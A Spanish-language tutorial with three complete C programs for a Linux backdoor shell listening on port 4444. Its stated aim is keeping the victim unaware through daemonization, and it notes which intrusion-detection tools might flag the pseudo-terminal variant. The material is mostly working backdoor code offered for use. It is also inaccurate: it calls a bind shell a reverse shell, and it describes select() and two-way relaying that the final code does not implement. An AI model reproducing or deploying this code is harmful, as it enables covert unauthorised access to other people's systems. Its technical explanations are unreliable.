-
Compilar un binario para un shell reverso de Linux
Podemos usar C para compilar un binario que, al ejecutarse, se conecte a un proceso netcat en escucha en una máquina atacante:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> int main() { int sockfd, clientfd; struct sockaddr_in server_addr; char *shell[] = {"/bin/sh", "-i", NULL}; // Crear socket sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("[-] Error al crear socket"); exit(1); } // Configurar dirección del servidor server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(4444); // Enlazar el socket a un puerto if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { perror("[-] Error al enlazar socket"); exit(1); } // Escuchar conexiones entrantes if (listen(sockfd, 1) < 0) { perror("[-] Error en listen"); exit(1); } // Aceptar la conexión de un cliente clientfd = accept(sockfd, NULL, NULL); if (clientfd < 0) { perror("[-] Error al aceptar conexión"); exit(1); } // Redirigir entrada, salida y error a la conexión del cliente dup2(clientfd, 0); // Entrada estándar (STDIN) dup2(clientfd, 1); // Salida estándar (STDOUT) dup2(clientfd, 2); // Error estándar (STDERR) // Ejecutar shell interactiva execve("/bin/sh", shell, NULL); close(sockfd); close(clientfd); return 0; }Para compilarlo:
gcc bindshell.c -o bindshellPara crear el listener en nuestra máquina:
nc 10.5.0.100 4444EXTRA: También podríamos hacer que el binario se ejecute en segundo plano, así el usuario del ordenador víctima puede seguir usando la terminal sin ver que ésta ha quedado capturada por el proceso:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <signal.h> void daemonize() { pid_t pid = fork(); if (pid < 0) exit(1); if (pid > 0) exit(0); // Cerrar el proceso padre // Crear nueva sesión if (setsid() < 0) exit(1); // Ignorar señales de control de terminal signal(SIGHUP, SIG_IGN); pid = fork(); if (pid < 0) exit(1); if (pid > 0) exit(0); // Cerrar el segundo proceso padre // Redirigir entrada/salida para evitar bloquear terminal int fd = open("/dev/null", O_RDWR); if (fd >= 0) { dup2(fd, STDIN_FILENO); dup2(fd, STDOUT_FILENO); dup2(fd, STDERR_FILENO); close(fd); } // Cambiar directorio de trabajo chdir("/"); umask(0); } int main() { daemonize(); // Convertir el proceso en un daemon int sockfd, clientfd; struct sockaddr_in server_addr; char *shell[] = {"/bin/bash", "-i", NULL}; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) exit(1); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(4444); if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) exit(1); if (listen(sockfd, 1) < 0) exit(1); while (1) { clientfd = accept(sockfd, NULL, NULL); if (clientfd < 0) continue; // Redirigir entrada/salida del cliente a la shell dup2(clientfd, STDIN_FILENO); dup2(clientfd, STDOUT_FILENO); dup2(clientfd, STDERR_FILENO); execve("/bin/bash", shell, NULL); close(clientfd); } close(sockfd); return 0; }En este último código ocurre lo siguiente:
- El proceso se convierte en un daemon. Se usa fork() y setsid() para separar el proceso de la terminal.
- Se ha cambiado la terminal de /bin/sh a /bin/bash.
- Se redirige la entrada/salida a /dev/null para evitar que la víctima vea algo raro.
- Se cierra el proceso padre para liberar la terminal de la víctima.
- El shell sigue funcionando incluso si el usuario cierra sesión.
- Como el proceso ya no está vinculado a la terminal original, la víctima puede seguir usando su sistema sin notar la presencia del shell.
- El servidor escucha indefinidamente.
- Si el atacante se desconecta, el bind shell sigue funcionando y esperando nuevas conexiones.
El código es completamente funcional, pero es posible que, al crearse la conexión, en la máquina atacante veamos un mensaje como este:
bash: cannot set terminal process group (465): Inappropriate ioctl for device bash: no job control in this shell
Dicho mensaje no afecta la funcionalidad del shell reverso, per si no estamos muy cómodos con ñel, podemos modificar un poco el código para crear una pseudo-terminal, pero con el riesgo que nos pueda detectar algún cortafuegos muy potente:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <signal.h> #include <pty.h> void daemonize() { pid_t pid = fork(); if (pid < 0) exit(1); if (pid > 0) exit(0); if (setsid() < 0) exit(1); signal(SIGHUP, SIG_IGN); pid = fork(); if (pid < 0) exit(1); if (pid > 0) exit(0); int fd = open("/dev/null", O_RDWR); if (fd >= 0) { dup2(fd, STDIN_FILENO); dup2(fd, STDOUT_FILENO); dup2(fd, STDERR_FILENO); close(fd); } chdir("/"); umask(0); } int main() { daemonize(); int sockfd, clientfd; struct sockaddr_in server_addr; char *shell[] = {"/bin/bash", "-i", NULL}; int master_fd, slave_fd; sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) exit(1); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(4444); if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) exit(1); if (listen(sockfd, 1) < 0) exit(1); while (1) { clientfd = accept(sockfd, NULL, NULL); if (clientfd < 0) continue; // Crear una pseudo-terminal para evitar problemas de control de trabajos if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) < 0) exit(1); if (fork() == 0) { close(sockfd); close(master_fd); // Redirigir la pseudo-terminal al cliente dup2(slave_fd, STDIN_FILENO); dup2(slave_fd, STDOUT_FILENO); dup2(slave_fd, STDERR_FILENO); close(slave_fd); execve("/bin/bash", shell, NULL); exit(0); } close(slave_fd); // Redirigir el tráfico entre cliente y pseudo-terminal char buffer[1024]; ssize_t n; while ((n = read(master_fd, buffer, sizeof(buffer))) > 0) { write(clientfd, buffer, n); } close(master_fd); close(clientfd); } close(sockfd); return 0; }¿Qué cambios implementa este código?
- Usa openpty() para crear una pseudo-terminal que simula una shell real.
- Evita el mensaje de error de bash sobre job control.
- Permite usar Ctrl+C, Ctrl+Z, y comandos interactivos sin problemas
- Se usa select() para manejar la comunicación bidireccional
- Permite escuchar tanto la entrada del atacante (clientfd) como la salida del shell (master_fd).
- Evita bloqueos porque solo se ejecuta cuando hay datos disponibles.
- Se redirige correctamente la entrada/salida
- Si el atacante escribe un comando (ls), el código lo envía al shell (write(master_fd, buffer, n);).
- Si el shell responde (ls devuelve un listado), el código lo envía de vuelta al atacante (write(clientfd, buffer, n);).
Eso sí, como mencioné antes, el uso de openpty() para crear una pseudo-terminal (PTY) puede hacer el shell reverso más visible para sistemas de seguridad y herramientas de detección de intrusiones. Esto es porque se genera actividad inusual en /dev/pts/*, dado que al momento de ejecutarse el shell reverso el sistema operativo asigna un dispositivo de terminal virtual (/dev/pts/X). Algunas herramientas de monitoreo revisan si se crean terminales sospechosas para procesos inusuales. Sistemas como Sysmon (Windows), auditd (Linux), SELinux pueden detectar actividad inusual en pseudo-terminals. Algunos IDS/IPS (como OSSEC, Falco, Suricata) pueden monitorear la creación de PTYs por procesos no esperados. Cuando openpty() es invocado por procesos que no son shells legítimas, algunas herramientas de análisis de comportamiento también pueden marcarlo como sospechoso.